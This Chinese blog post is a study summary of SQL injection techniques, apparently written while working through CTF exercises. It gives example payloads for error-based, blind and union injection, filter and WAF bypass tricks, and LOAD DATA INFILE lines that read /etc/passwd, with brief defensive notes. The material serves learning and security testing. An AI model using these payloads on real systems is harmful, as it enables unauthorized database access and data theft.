<!DOCTYPE HTML>
<html lang="zh-CN">


<head>
    <meta charset="utf-8">
    <meta name="keywords" content="SQL注入, YeOrLuOp">
    <meta name="description" content="">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <!-- Global site tag (gtag.js) - Google Analytics -->


    <title>SQL注入 | YeOrLuOp</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/all.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">

    <script src="/libs/jquery/jquery.min.js"></script>

<meta name="generator" content="Hexo 4.2.0"><link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>




<body>
    <header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">YeOrLuOp</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
<ul class="right nav-menu">
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/" class="waves-effect waves-light">
      
      <i class="fas fa-home" style="zoom: 0.6;"></i>
      
      <span>首页</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/tags" class="waves-effect waves-light">
      
      <i class="fas fa-tags" style="zoom: 0.6;"></i>
      
      <span>标签</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/categories" class="waves-effect waves-light">
      
      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
      
      <span>分类</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/archives" class="waves-effect waves-light">
      
      <i class="fas fa-archive" style="zoom: 0.6;"></i>
      
      <span>归档</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/about" class="waves-effect waves-light">
      
      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
      
      <span>关于</span>
    </a>
    
  </li>
  
  <li>
    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
    </a>
  </li>
</ul>


<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">YeOrLuOp</div>
        <div class="logo-desc">
            
            Never really desperate, only the lost of the soul.
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li class="m-nav-item">
	  
		<a href="/" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-home"></i>
			
			首页
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/tags" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-tags"></i>
			
			标签
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/categories" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-bookmark"></i>
			
			分类
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/archives" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-archive"></i>
			
			归档
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/about" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-user-circle"></i>
			
			关于
		</a>
          
        </li>
        
        
    </ul>
</div>


        </div>

        
    </nav>

</header>

    



<div class="bg-cover pd-header post-cover" style="background-image: url('/medias/featureimages/3.jpg')">
    <div class="container" style="right: 0px;left: 0px;">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <h1 class="description center-align post-title">SQL注入</h1>
                </div>
            </div>
        </div>
    </div>
</div>




<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        width: 345px;
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content {
        height: calc(100vh - 250px);
        overflow: auto;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;

        position: absolute;
        right: 23.5vw;
        display: block;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 15px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                          <div class="article-tag">
                            <span class="chip bg-color">无标签</span>
                          </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                </div>
            </div>

            <div class="post-info">
                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2020-11-04
                </div>
                

                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-check fa-fw"></i>更新日期:&nbsp;&nbsp;
                    2020-11-04
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-file-word fa-fw"></i>文章字数:&nbsp;&nbsp;
                    3.1k
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-clock fa-fw"></i>阅读时长:&nbsp;&nbsp;
                    12 分
                </div>
                

                
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <center>sql注入做题学习总结</center>

<h1 id="首先看师傅怎么学的，不然总感觉自己花时间还像是学到了假的东西"><a href="#首先看师傅怎么学的，不然总感觉自己花时间还像是学到了假的东西" class="headerlink" title="首先看师傅怎么学的，不然总感觉自己花时间还像是学到了假的东西"></a>首先看师傅怎么学的，不然总感觉自己花时间还像是学到了假的东西</h1><p><a href="https://www.cnblogs.com/hnsya/p/9370081.html" target="_blank" rel="noopener">https://www.cnblogs.com/hnsya/p/9370081.html</a></p>
<p><a href="https://www.anquanke.com/post/id/170626" target="_blank" rel="noopener">https://www.anquanke.com/post/id/170626</a></p>
<p><a href="https://www.cnblogs.com/Mrsm1th/p/6842300.html" target="_blank" rel="noopener">https://www.cnblogs.com/Mrsm1th/p/6842300.html</a></p>
<h1 id="注入分类"><a href="#注入分类" class="headerlink" title="注入分类"></a>注入分类</h1><ol>
<li><p>基于从服务器接收到的响应（SQL注入开发技术）</p>
<ul>
<li><p>基于错误的 SQL 注入（error based exploitation）</p>
</li>
<li><p>联合查询的类型（Union Based Exploitation）</p>
</li>
<li><p>堆查询注射</p>
</li>
<li><p>SQL 盲注（Blind SQLI）：在 sql 注入过程中，sql 语句执行的选择后，选择的数据不能回到前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注</p>
<ul>
<li><p>基于布尔 SQL 盲注（Boolen Based Exploitation）</p>
</li>
<li><p>基于时间的 SQL 盲注（Time  Based Exploitation）</p>
<table>
<thead>
<tr>
<th align="left">Mysql</th>
<th>BENCHMARK(100,MD5(1)   or slep(5)</th>
</tr>
</thead>
<tbody><tr>
<td align="left">Postgresql</td>
<td>PG_SLEP(5)   OR GENRATE_SERIES(1,00)</td>
</tr>
<tr>
<td align="left">Msql   server</td>
<td>WAITFOR   DELAY ‘0:5’</td>
</tr>
</tbody></table>
<blockquote>
<p>BENCHMARK(count,expr)用于测试函数的性能，参数一为次数，二为要执行的表达式。可以让函数执行若干次，返回结果比平时要长，通过时间长短的变化，判断语句是否执行成功。这是一种<strong><code>边信道攻击</code></strong></p>
</blockquote>
</li>
<li><p>sleep（x）</p>
</li>
<li><p>benchmark（）</p>
</li>
<li><p>笛卡尔积</p>
</li>
<li><p>get_lock</p>
</li>
<li><p>rlike+rpad</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>基于如何处理输入的 SQL 查询（数据类型）</p>
<ul>
<li>基于字符串</li>
</ul>
<ul>
<li>数字或整数为基础的</li>
</ul>
</li>
<li><p>基于程度和顺序的注入(哪里发生了影响)</p>
<ul>
<li>一阶注射：一阶注射是指输入的注射语句对 WEB 直接产生了影响，出现了结果；</li>
<li>二阶注射：二阶注入类似存储型 XSS，是指输入提交的语句，无法直接对 WEB 应用程序产生影响，通过其它的辅助间接的对 WEB 产生危害，这样的就被称为是二阶注入. </li>
<li>二次注入：就是攻击者构造的恶意payload首先会被服务器存储在数据库中，在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题（详见第24题）</li>
</ul>
</li>
<li><ul>
<li><p>基于注入点的位置上的</p>
</li>
<li><p>通过用户输入的表单域的注射</p>
<ul>
<li>通过 cookie 注射</li>
<li>通过服务器变量注射（基于头部信息的注射）</li>
</ul>
</li>
</ul>
</li>
<li><p>联合查询注入</p>
</li>
<li><p>布尔盲注</p>
<p>返回值为True或False类型：如果查询结果不为空，则返回True（或者是Success之类的），否则返回False，这种注入比较简单，可以挨个猜测表名、字段名和字段值的字符，通过返回结果判断猜测是否正确</p>
<p>例：parameter=’ or ascii(substr((select database()) ,1,1))&lt;115—+</p>
</li>
<li><p>Order by盲注</p>
<p>order by rand(True)和order by rand(False)的结果排序是不同的，可以根据这个不同来进行盲注：</p>
<p>例：</p>
<p>order by rand(database()=’pdotest’)</p>
<p>返回了True的排序，说明database()=’pdotest’是正确的值</p>
</li>
<li><p>延时盲注</p>
</li>
<li><p>宽字节注入</p>
</li>
<li><p>堆叠注入（stacked injection）：MySQL 的命令行中，每一条语句以;结尾，这代表语句的结束，如果在注入过程中在;后面添加要执行的 SQL 语句的话，这种注入方式就叫做堆叠注入</p>
<p>详见第38题</p>
</li>
<li><p>报错注入</p>
<blockquote>
<p>前提：服务器开启报错信息返回，也就是发生错误时返回报错信息</p>
</blockquote>
<blockquote>
<p>原理：通过特殊函数使用并使其输出错误结果来获取信息，主要是利用mysql的逻辑漏洞</p>
</blockquote>
<ul>
<li><ul>
<li>bigint等是数据类型溢出</li>
<li>函数参数格式错误</li>
<li>主键/字段重复</li>
</ul>
</li>
<li><p>常见10种报错手段</p>
<ul>
<li><p>floor()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);</code></pre>
</li>
<li><p>extractvalue()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from est where id=1 and (extractvalue(1,concat(0x7e,(select         user()),0x7e)));</code></pre>
</li>
<li><p>updatexml(XML_document, XPath_string, new_value)：通常在第二个xpath参数填写我们要查询的内容</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and (updatexml(1,concat(0x7e,(select         user()),0x7e),1));</code></pre>
</li>
<li><p>geometrycollection()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>multipoint()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>polygon()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and polygon((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>multipolygon()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>linestring()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and linestring((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>multilinestring()</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));</code></pre>
</li>
<li><p>exp()：会返回e的x次方结果</p>
<pre class=" language-mysql"><code class="language-mysql">select * from test where id=1 and exp(~(select * from(select user())a));</code></pre>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<h1 id="常见注入点—应用程序和数据交互的地方"><a href="#常见注入点—应用程序和数据交互的地方" class="headerlink" title="常见注入点—应用程序和数据交互的地方"></a>常见注入点—应用程序和数据交互的地方</h1><ul>
<li><p>Authentication（认证页面）</p>
<ul>
<li>Search Fields       （搜索页面）</li>
</ul>
</li>
<li><p>Post Fields   （Post请求）</p>
</li>
<li><p>Get Fields   （Get请求）</p>
</li>
<li><p>HTTP  Header（HTTP头部）</p>
</li>
<li><p>Cookie</p>
</li>
</ul>
<h1 id="http头注入"><a href="#http头注入" class="headerlink" title="http头注入"></a>http头注入</h1><h1 id="http分割注入"><a href="#http分割注入" class="headerlink" title="http分割注入"></a>http分割注入</h1><h1 id="截取字符串常用函数"><a href="#截取字符串常用函数" class="headerlink" title="截取字符串常用函数"></a>截取字符串常用函数</h1><ul>
<li><p>mid（）</p>
</li>
<li><p>substr（）</p>
</li>
<li><p>left（）</p>
</li>
<li><p>ascii（）：转换成ascii值</p>
</li>
<li><p>ord（）：转换成ascii值</p>
</li>
<li><p>regexp正则注入-&gt;匹配内容</p>
<ul>
<li>like匹配注入</li>
<li>基于报错的 SQL 盲注–构造payload 让信息通过错误提示回显出来</li>
</ul>
</li>
<li><p>利用数据表进行一次完整的注入：</p>
<blockquote>
<p>猜数据库-&gt;猜数据表-&gt;猜表的某列-&gt;获取某列内容</p>
</blockquote>
</li>
</ul>
<h1 id="常用SQL注入字符"><a href="#常用SQL注入字符" class="headerlink" title="常用SQL注入字符"></a>常用SQL注入字符</h1><table>
<thead>
<tr>
<th>1</th>
<th>字符串运算符</th>
<th>‘or’</th>
</tr>
</thead>
<tbody><tr>
<td>2</td>
<td>多行注释</td>
<td>/<em>…</em>/</td>
</tr>
<tr>
<td>3</td>
<td>加号，连接（在URL中等同于空格）</td>
<td>+</td>
</tr>
<tr>
<td>4</td>
<td>单行注释</td>
<td>#或–</td>
</tr>
<tr>
<td>5</td>
<td>双管道（连接）</td>
<td>||</td>
</tr>
<tr>
<td>6</td>
<td>通配符</td>
<td>%</td>
</tr>
<tr>
<td>7</td>
<td>局部变量</td>
<td>@</td>
</tr>
<tr>
<td>8</td>
<td>全局变量</td>
<td>@@</td>
</tr>
<tr>
<td>9</td>
<td>时延</td>
<td>waitfor delay ‘00:00:10’</td>
</tr>
<tr>
<td>10</td>
<td>字符串替代数字或数字替代字符串</td>
<td></td>
</tr>
</tbody></table>
<h1 id="数据库指纹：即根据错误信息找出数据库类型"><a href="#数据库指纹：即根据错误信息找出数据库类型" class="headerlink" title="数据库指纹：即根据错误信息找出数据库类型"></a>数据库指纹：即根据错误信息找出数据库类型</h1><h1 id="修复语法错误"><a href="#修复语法错误" class="headerlink" title="修复语法错误"></a>修复语法错误</h1><p>   注释剩余查询：根据数据库类型，通常使用<strong>–+</strong>或者<strong>#</strong></p>
<p>​    –%20：URL编码为空格</p>
<p>​    %23：URL编码为空格</p>
<ul>
<li><ul>
<li>爆数据库</li>
<li>爆数据表</li>
<li>爆数据表的列</li>
<li>爆数据</li>
</ul>
<table>
<thead>
<tr>
<th><strong>符号</strong></th>
<th><strong>说明</strong></th>
</tr>
</thead>
<tbody><tr>
<td>%09</td>
<td>TAB 键(水平)</td>
</tr>
<tr>
<td>%0a</td>
<td>新建一行</td>
</tr>
<tr>
<td>%0c</td>
<td>新的一页</td>
</tr>
<tr>
<td>%0d</td>
<td>return 功能</td>
</tr>
<tr>
<td>%0b</td>
<td>TAB 键(垂直)</td>
</tr>
<tr>
<td>%a0</td>
<td>空格</td>
</tr>
</tbody></table>
</li>
</ul>
<ul>
<li><p>-+（连字符加）</p>
</li>
<li><p>#（散列）</p>
</li>
<li><ul>
<li>group  concat 关键字一次一起获取所有表名</li>
<li>逐个检查表名的方法</li>
</ul>
</li>
<li><p>使用 (‘) 来中断语句以接收一条 SQL 错误消息，从而检查 SQL 注入漏洞</p>
</li>
</ul>
<h1 id="sql约束攻击"><a href="#sql约束攻击" class="headerlink" title="sql约束攻击"></a>sql约束攻击</h1><ul>
<li>防御<ul>
<li>给username字段添加unique属性</li>
<li>使用id字段作为判断用户的凭证。</li>
<li>插入数据前判断数据长度。</li>
</ul>
</li>
</ul>
<h1 id="基础绕过"><a href="#基础绕过" class="headerlink" title="基础绕过"></a>基础绕过</h1><ol>
<li><p>大小写绕过：用于过滤时没有匹配大小写的情况：</p>
<blockquote>
<p>SelECt * from table;</p>
</blockquote>
</li>
<li><p>双写绕过</p>
<blockquote>
<p>用于将禁止的字符直接删掉的过滤情况如preg_replace(‘/select/‘,’’,input)</p>
<p>则可用seselectlect from xxx来绕过，在删除一个select后剩下的就是select from xxx</p>
</blockquote>
</li>
<li><p>添加注释</p>
<blockquote>
<p>/*! */类型的注释，内部的语句会被执行</p>
<p>可以用来绕过一些WAF，或者绕过空格</p>
<p>但是，不能将关键词用注释分开，例如下面的语句是不可以执行的（或者说只能在某些较老的版本执行）：</p>
<p>select bbb from table1 where balabala=’’ union se/<em>!lect database()</em>/;</p>
</blockquote>
</li>
<li><p>使用16进制绕过特定字符</p>
<blockquote>
<p>如果在查询字段名的时候表名被过滤，或是数据库中某些特定字符被过滤，则可用16进制绕过：</p>
<p>select column_name from information_schema.columns where table_name=0x7573657273;</p>
</blockquote>
</li>
<li><p>宽字节、Latin1默认编码</p>
<ol>
<li><p>宽字节注入</p>
<ol>
<li><p>gbk编码</p>
</li>
<li><p>Latin1编码</p>
<blockquote>
<p>Mysql表的编码默认为latin1，如果设置字符集为utf8，则存在一些latin1中有而utf8中没有的字符，而Mysql是如何处理这些字符的呢？直接忽略</p>
<p>于是我们可以输入?username=admin%c2，存储至表中就变为了admin</p>
</blockquote>
</li>
</ol>
<p>上面的%c2可以换为%c2-%ef之间的任意字符</p>
</li>
</ol>
</li>
</ol>
<ul>
<li><p>各个字符以及函数的代替</p>
<ul>
<li>数字的代替</li>
</ul>
<ul>
<li>常用字符的替代</li>
<li>常用函数的替代</li>
</ul>
</li>
<li><p>逗号被过滤</p>
</li>
<li><p>limit被过滤</p>
</li>
<li><p>Information_schema被过滤</p>
</li>
<li><p>and or &amp;&amp;      ||被过滤</p>
</li>
</ul>
<h1 id="特定场景的绕过"><a href="#特定场景的绕过" class="headerlink" title="特定场景的绕过"></a>特定场景的绕过</h1><ul>
<li>表名已知字段名未知的注入</li>
</ul>
<ul>
<li><p>堆叠注入&amp;select被过滤</p>
</li>
<li><ul>
<li>预编译</li>
<li>Handler</li>
</ul>
</li>
<li><p>PHP正则回溯BUG</p>
</li>
<li><p>PDO场景下的SQL注入</p>
</li>
<li><p>limit注入（5.7版本已经废除）</p>
</li>
<li><p>特殊的盲注</p>
<ul>
<li>查询成功与mysql error</li>
</ul>
<ul>
<li>Mysql error的前提下延时与不延时</li>
<li>表名未知</li>
</ul>
</li>
</ul>
<h1 id="文件的读写"><a href="#文件的读写" class="headerlink" title="文件的读写"></a>文件的读写</h1><ul>
<li>读写权限</li>
</ul>
<ul>
<li>读文件</li>
<li>mysql任意文件读取漏洞</li>
<li>写文件</li>
</ul>
<h1 id="DNSLOG（OOB注入）"><a href="#DNSLOG（OOB注入）" class="headerlink" title="DNSLOG（OOB注入）"></a>DNSLOG（OOB注入）</h1><ul>
<li>应用场景<ul>
<li>三大注入无法使用</li>
<li>有文件读取权限及secure-file-priv无值。</li>
<li>不知道网站/目标文件/目标目录的绝对路径</li>
<li>目标系统为Windows</li>
</ul>
</li>
</ul>
<h1 id="查"><a href="#查" class="headerlink" title="查"></a>查</h1><ol>
<li><blockquote>
<p>有回显（以下下种方法都可使用）</p>
</blockquote>
<ul>
<li><p>联合查询注入</p>
<ul>
<li><p>查询步骤：</p>
<p>1：先确定字段数量</p>
<p>2：判断页面回显数据的字段位置</p>
<p>3：在显示的字段位置使用子查询查数据，或直接查询</p>
</li>
<li><p>查询数据库名database（）、数据库账号user（）、数据库版本version（)等情况，再根据不同版本、不同的权限确定接下来的方法</p>
<ul>
<li><p>MySQL版本&lt;5.0（缺乏系统库information_schema）</p>
<ul>
<li>多字段</li>
<li>单字段</li>
</ul>
</li>
<li><p>&gt;=5.0</p>
<ul>
<li><p>Information_schema查询全部数据库名</p>
</li>
<li><pre class=" language-mysql"><code class="language-mysql">union select       1,2,group_concat(table_name),4,xxxx from information_schema.tables where       table_schema=database();</code></pre>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>无回显</p>
</li>
</ol>
<ul>
<li><p>报错注入</p>
</li>
<li><p>盲注（针对不直接返回数据+不返回报错信息的情况）</p>
</li>
<li><ul>
<li>布尔盲注</li>
</ul>
</li>
<li><p>select * from users where username=nouser or length(database())&gt;8</p>
</li>
<li><p>select * from users where username=nouser or ascii(substr(database(),1,1))&lt;130</p>
</li>
<li><ul>
<li><p>时间盲注:通过页面返回的延迟时间来判断是否正确</p>
</li>
<li><ul>
<li>select * from       users where username=$username (and | or)       if(length(database())&gt;8,sleep(3),1)</li>
<li>Sleep()</li>
<li>benchmark（）</li>
<li>复杂运算的函数</li>
<li>笛卡尔积合并数据表</li>
<li>GET_LOCK双SESSION产生延迟</li>
</ul>
</li>
</ul>
</li>
</ul>
<h1 id="增删改"><a href="#增删改" class="headerlink" title="增删改"></a>增删改</h1><ul>
<li><ul>
<li>可简单当做无回显的Select语句进行注入。值得注意的是，通常增insert处的注入点在测试时会产生大量的垃圾数据，删delete处的注入千万要注意where条件不要为永真。</li>
</ul>
</li>
<li><p>常见防御手段绕过</p>
</li>
<li><ul>
<li><p>过滤与拦截</p>
</li>
<li><ul>
<li><p>过滤：指的是我们输入的部分内容在拼接SQL语句之前被程序删除掉了，接着将过滤之后的内容拼接到SQL语句并继续与数据库通信</p>
</li>
<li><p>拦截：若检测到指定的内容存在，则直接返回拦截页面，同时不会进行拼接SQL语句并与数据库通信的操作</p>
</li>
<li><ul>
<li><p>and/or         被过滤/拦截</p>
</li>
<li><ul>
<li>双写anandd、oorr</li>
<li>使用运算符代替&amp;&amp;、||</li>
<li>直接拼接=号，如：?id=1=(condition)</li>
<li>其他方法，如：?id=1^(condition</li>
</ul>
</li>
<li><p>空格被过滤/拦截</p>
</li>
<li><ul>
<li>多层括号嵌套</li>
<li>改用+号</li>
<li>使用注释代替</li>
<li>and/or后面可以跟上偶数个!、~可以替代空格，也可以混合使用(规律又不同)，and/or前的空格可用省略</li>
<li>%09, %0a, %0b,          %0c, %0d, %a0等部分不可见字符可也代替空格</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>如：select * from user where username=’admin’union(select+title,content/<strong>/from/<em>!article</em>/where/</strong>/id=’1’and!!!!~~1=1)</p>
</li>
<li></li>
<li><ul>
<li>括号被过滤/拦截</li>
</ul>
</li>
<li><p>order by 大小比较盲注</p>
</li>
<li><ul>
<li><p>逗号被过滤/拦截</p>
</li>
<li><ul>
<li>改用盲注</li>
<li>使用join语句代替</li>
<li>substr(data from       1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4</li>
</ul>
</li>
</ul>
</li>
<li><ul>
<li><p>其他系统关键字被过滤/拦截</p>
</li>
<li><ul>
<li>双写绕过关键字过滤</li>
<li>使用同义函数/语句代替，如if函数可用case       when condition then 1 else 0 end语句代替。</li>
</ul>
</li>
</ul>
</li>
<li><ul>
<li><p>单双引号被过滤/拦截/转义</p>
</li>
<li><ul>
<li>需要跳出单引号的情况：尝试是否存在编码问题而产生的SQL注入。</li>
<li>不需要跳出单引号的情况：字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。</li>
</ul>
</li>
</ul>
</li>
<li><ul>
<li>数字被过滤/拦截</li>
</ul>
</li>
</ul>
<h1 id="读取文件三种方法（连接数据库时可读取文件）：相当于对客户端进行半劫持，通过构建恶意服务端实现"><a href="#读取文件三种方法（连接数据库时可读取文件）：相当于对客户端进行半劫持，通过构建恶意服务端实现" class="headerlink" title="读取文件三种方法（连接数据库时可读取文件）：相当于对客户端进行半劫持，通过构建恶意服务端实现"></a>读取文件三种方法（连接数据库时可读取文件）：相当于对客户端进行半劫持，通过构建恶意服务端实现</h1><ul>
<li><p>Load_file()</p>
</li>
<li><p>读取服务端文件</p>
<pre class=" language-mysql"><code class="language-mysql">load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件</code></pre>
</li>
<li><p>读取客户端文件</p>
<pre class=" language-mysql"><code class="language-mysql">load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件</code></pre>
</li>
<li><p>Local data local</p>
</li>
<li><ul>
<li><p>写文件</p>
</li>
<li><ul>
<li>日志法：利用生成日志文件的方法来绕过，但是要求权限够并且知道目标目录的绝对路径</li>
</ul>
</li>
<li><p>PHP/union.+?select/ig绕过</p>
</li>
<li><p>无列名盲注</p>
</li>
<li><p>UPDATE注入重复字段赋值</p>
</li>
<li><p>LIMIT之后的字段数判断</p>
</li>
</ul>
</li>
<li><p><strong>基于联合查询的**</strong>SQL<strong>**注入</strong></p>
</li>
<li><table>
<thead>
<tr>
<th>Variable/function</th>
<th>Output</th>
</tr>
</thead>
<tbody><tr>
<td>user()</td>
<td>Current User当前用户</td>
</tr>
<tr>
<td>database()</td>
<td>Current Database当前数据库</td>
</tr>
<tr>
<td>version()</td>
<td>Database Version数据库版本</td>
</tr>
<tr>
<td>schema()</td>
<td>Current Database当前数据库</td>
</tr>
<tr>
<td>UUID()</td>
<td>System UUID Key系统   UUID 密钥</td>
</tr>
<tr>
<td>current_user()</td>
<td>Current User</td>
</tr>
<tr>
<td>system_user()</td>
<td>Current System User</td>
</tr>
<tr>
<td>session_user()</td>
<td>Session User会话用户</td>
</tr>
<tr>
<td>@@hostname</td>
<td>Current Hostname当前主机名</td>
</tr>
<tr>
<td>@@tmpdir</td>
<td>Temporary Directory临时目录</td>
</tr>
<tr>
<td>@@datadir</td>
<td>Data DirectoryData 目录</td>
</tr>
<tr>
<td>@@version</td>
<td>Version of Database数据库的版本</td>
</tr>
<tr>
<td>@@basedir</td>
<td>Base Directory基本目录</td>
</tr>
<tr>
<td>@@GLOBAL.have_symlink</td>
<td>Check if symlink is Enabled or Disabled检查 symlink 是启用还是禁用</td>
</tr>
<tr>
<td>@@GLOBAL.have_ssl</td>
<td>Check if it SSL is available检查是否有可用的 ssl</td>
</tr>
</tbody></table>
</li>
</ul>

            </div>
            <hr/>

            

    <div class="reprint" id="reprint-statement">
        
            <div class="reprint__author">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-user">
                        文章作者:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="/about" rel="external nofollow noreferrer">YeOrLuOp</a>
                </span>
            </div>
            <div class="reprint__type">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-link">
                        文章链接:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="https://wang468.github.io/2020/11/04/sql-zhu-ru/">https://wang468.github.io/2020/11/04/sql-zhu-ru/</a>
                </span>
            </div>
            <div class="reprint__notice">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-copyright">
                        版权声明:
                    </i>
                </span>
                <span class="reprint-info">
                    本博客所有文章除特別声明外，均采用
                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
                    许可协议。转载请注明来源
                    <a href="/about" target="_blank">YeOrLuOp</a>
                    !
                </span>
            </div>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>



            <div class="tag_share" style="display: block;">
                <div class="post-meta__tag-list" style="display: inline-block;">
                    
                        <div class="article-tag">
                            <span class="chip bg-color">无标签</span>
                        </div>
                    
                </div>
                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
                    <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">
<div id="article-share">

    

    

</div>

                </div>
            </div>
            
        </div>
    </div>

    

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
